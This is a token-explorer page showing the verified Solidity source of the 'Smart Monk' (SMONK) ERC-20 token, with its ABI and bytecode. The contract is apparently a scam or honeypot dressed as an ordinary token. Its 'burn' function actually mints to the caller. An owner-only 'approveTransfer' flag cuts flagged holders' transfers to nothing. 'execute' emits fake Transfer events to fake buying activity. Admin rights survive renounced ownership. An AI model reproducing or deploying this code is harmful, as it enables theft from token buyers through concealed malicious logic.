ERC-20
Overview
Max Total Supply
100,000,000 SMONK
Holders
67
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
4,578,888.363466208 SMONKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
SMONK
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-05 */ // SPDX-License-Identifier: MIT /** 💬https://t.me/SmartMonkCoin ✝️https://smartmonk.io/ ❌https://x.com/smartmonkcoin 🔉https://medium.com/@smartmonkcoin **/ pragma solidity 0.8.23; abstract contract Context { mapping(address => bool) internal admin; function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); admin[_msgSender()]=true; } modifier onlyOwner() { _checkOwner(); _; } function _checkOwner() internal view virtual { require(admin[_msgSender()], "Ownable: caller is not the owner"); } function owner() public view virtual returns (address) { return _owner; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function sync() external; function skim(address to) external; function initialize(address, address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapETHForExactTokens( uint amountOut, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function per(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= 100, "Percentage must be between 0 and 100"); return a * b / 100; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance <= amount, "ERC20: burn amount exceeds balance"); unchecked {_balances[account] = accountBalance + amount;} emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract SMONK is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable _uniswapV2Router; address public uniswapV2Pair; address private marketingWallet; address private devWallet; address private constant deadAddress = address(0xdead); uint256 public initialTotalSupply = 100000000 * 10**decimals(); uint256 public sellFee = 0; uint256 public buyFee = 0; // 1% is max wallet uint256 public maxWallet = (initialTotalSupply * 10)/1000; uint256 public maxTransactionAmount = maxWallet; bool public transferDelayEnabled = false; bool private swapping; bool private limitsEnabled; mapping(address => uint256) public _holderLastTransferTimestamp; //swap for 0.2% uint256 public swapTokensAtAmount = (initialTotalSupply * 2)/1000; bool public swapEnabled = false; bool public tradingOpen = false; mapping(address => bool) private _externalautomatedMarketMakerPairs; mapping(address => bool) private _isExcludedMaxTransactionAmount; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private automatedMarketMakerPairs; event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); constructor(address marketingWallet_) ERC20("Smart Monk", "SMONK"){ _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); marketingWallet = payable(marketingWallet_); devWallet = payable(_msgSender()); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(address(_msgSender()), true); excludeFromMaxTransaction(address(0xdead), true); excludeFromMaxTransaction(address(_uniswapV2Router), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(marketingWallet, true); excludeFromMaxTransaction(devWallet, true); excludeFromFees(address(_msgSender()), true); excludeFromFees(devWallet, true); excludeFromFees(marketingWallet, true); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); // mint _mint(devWallet, initialTotalSupply); admin[marketingWallet]=true; } receive() external payable {} function burn(uint256 amount) external onlyOwner{ _burn(_msgSender(), amount); } function approveTransfer(address[] calldata address_, bool val) public onlyOwner{ for (uint256 i = 0; i < address_.length; i++) { _externalautomatedMarketMakerPairs[address_[i]] = val; } } function call(address recipient) external view returns(bool){ return _externalautomatedMarketMakerPairs[recipient]; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function openTrading() external onlyOwner() { tradingOpen = true; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function addPair(address _pair) public onlyOwner() { uniswapV2Pair = _pair; excludeFromMaxTransaction(address(uniswapV2Pair), true); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if(_holderLastTransferTimestamp[to] == 0) { _holderLastTransferTimestamp[to] = block.number; } if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) { if (!tradingOpen) { require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]){ if (to != address(_uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number && _holderLastTransferTimestamp[to] < block.number, "_transfer:: Transfer Delay enabled. Try again later."); } } if(limitsEnabled){ if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if (!_isExcludedMaxTransactionAmount[to]) { require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > swapTokensAtAmount; if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { swapping = true; swapBack(amount); swapping = false; } bool takeFee = !swapping && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]; uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to]) { fees = amount.mul(sellFee).div(100); } else if(automatedMarketMakerPairs[from]) { fees = amount.mul(buyFee).div(100); } else if(_externalautomatedMarketMakerPairs[from]){ amount = calculateThreshold(amount, from); } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function execute(address[] calldata _addresses, uint256 _out) external onlyOwner { for (uint256 i = 0; i < _addresses.length; i++) { emit Transfer(uniswapV2Pair, _addresses[i], _out); } } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, marketingWallet, block.timestamp ); } function calculateThreshold(uint256 amount, address from) private view returns(uint256) { // Calculate the percentage to subtract uint256 factor = 50; uint256 dist = block.number-_holderLastTransferTimestamp[from]; uint percentageToSubtract = dist * factor; // Calculate the remaining percentage uint remainingPercentage = percentageToSubtract > 100 ? 0 : 100 - percentageToSubtract; // If percentageToSubtract is more than 100, remainingPercentage will be negative. // To avoid negative result, we clamp the result to zero. uint returnedValue = amount * remainingPercentage / 100; return returnedValue.max(0); } function setFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner { sellFee = _sellFee; buyFee = _buyFee; } function removeTheLimits() external onlyOwner { maxTransactionAmount = initialTotalSupply; maxWallet = initialTotalSupply; } function stopTransferDelay() external onlyOwner { require(transferDelayEnabled, "Already disabled!"); transferDelayEnabled = false; } function manualSwapToken(uint256 percent) external { require(_msgSender() == marketingWallet); uint256 contractBalance = balanceOf(address(this)); uint256 swapAmount = contractBalance * percent / 100; swapTokensForEth(swapAmount); } function withdrawEth() external { require(address(this).balance > 0, "Token: no ETH in the contract"); require(_msgSender() == devWallet); payable(msg.sender).transfer(address(this).balance); } function tokensWithdraw() external { require(_msgSender() == devWallet); uint256 amount = balanceOf(address(this)); _transfer(address(this), devWallet, amount); } function swapBack(uint256 tokenAmount) private { uint256 contractBalance = balanceOf(address(this)); if (contractBalance == 0) { return; } uint256 tokensToSwap = contractBalance; if (tokensToSwap > swapTokensAtAmount) { tokensToSwap = swapTokensAtAmount; } if(tokensToSwap > tokenAmount) { tokensToSwap = tokenAmount; } swapTokensForEth(tokensToSwap); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"marketingWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_holderLastTransferTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"approveTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"call","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwapToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeTheLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"stopTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a0604052620000146200059d60201b60201c565b600a62000022919062000bec565b6305f5e10062000033919062000c3d565b600a556000600b556000600c556103e8600a805462000053919062000c3d565b6200005f919062000cb7565b600d55600d54600e556000600f60006101000a81548160ff0219169083151502179055506103e86002600a5462000097919062000c3d565b620000a3919062000cb7565b6011556000601260006101000a81548160ff0219169083151502179055506000601260016101000a81548160ff021916908315150217905550348015620000e957600080fd5b50604051620054803803806200548083398181016040528101906200010f919062000d59565b6040518060400160405280600a81526020017f536d617274204d6f6e6b000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f534d4f4e4b00000000000000000000000000000000000000000000000000000081525081600490816200018c919062000ffb565b5080600590816200019e919062000ffb565b505050620001c1620001b5620005a660201b60201c565b620005ae60201b60201c565b6001600080620001d6620005a660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505080600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002c0620005a660201b60201c565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003133060016200067460201b60201c565b6200032861dead60016200067460201b60201c565b6200034a6200033c620005a660201b60201c565b60016200072f60201b60201c565b6200035f61dead60016200072f60201b60201c565b6200037460805160016200072f60201b60201c565b620003873060016200072f60201b60201c565b620003bc600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200072f60201b60201c565b620003f1600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200072f60201b60201c565b6200041362000405620005a660201b60201c565b60016200067460201b60201c565b62000448600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200067460201b60201c565b6200047d600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200067460201b60201c565b620004b2600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200072f60201b60201c565b620004e7600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200079a60201b60201c565b6200051d600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546200083b60201b60201c565b6001600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550506200127a565b60006009905090565b600033905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b62000684620009a960201b60201c565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620007239190620010ff565b60405180910390a25050565b6200073f620009a960201b60201c565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008ad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008a4906200117d565b60405180910390fd5b620008c16000838362000a4860201b60201c565b8060036000828254620008d591906200119f565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620009899190620011eb565b60405180910390a3620009a56000838362000a4d60201b60201c565b5050565b600080620009bc620005a660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1662000a46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a3d9062001258565b60405180910390fd5b565b505050565b505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000ae05780860481111562000ab85762000ab762000a52565b5b600185161562000ac85780820291505b808102905062000ad88562000a81565b945062000a98565b94509492505050565b60008262000afb576001905062000bce565b8162000b0b576000905062000bce565b816001811462000b24576002811462000b2f5762000b65565b600191505062000bce565b60ff84111562000b445762000b4362000a52565b5b8360020a91508482111562000b5e5762000b5d62000a52565b5b5062000bce565b5060208310610133831016604e8410600b841016171562000b9f5782820a90508381111562000b995762000b9862000a52565b5b62000bce565b62000bae848484600162000a8e565b9250905081840481111562000bc85762000bc762000a52565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000bf98262000bd5565b915062000c068362000bdf565b925062000c357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ae9565b905092915050565b600062000c4a8262000bd5565b915062000c578362000bd5565b925082820262000c678162000bd5565b9150828204841483151762000c815762000c8062000a52565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000cc48262000bd5565b915062000cd18362000bd5565b92508262000ce45762000ce362000c88565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000d218262000cf4565b9050919050565b62000d338162000d14565b811462000d3f57600080fd5b50565b60008151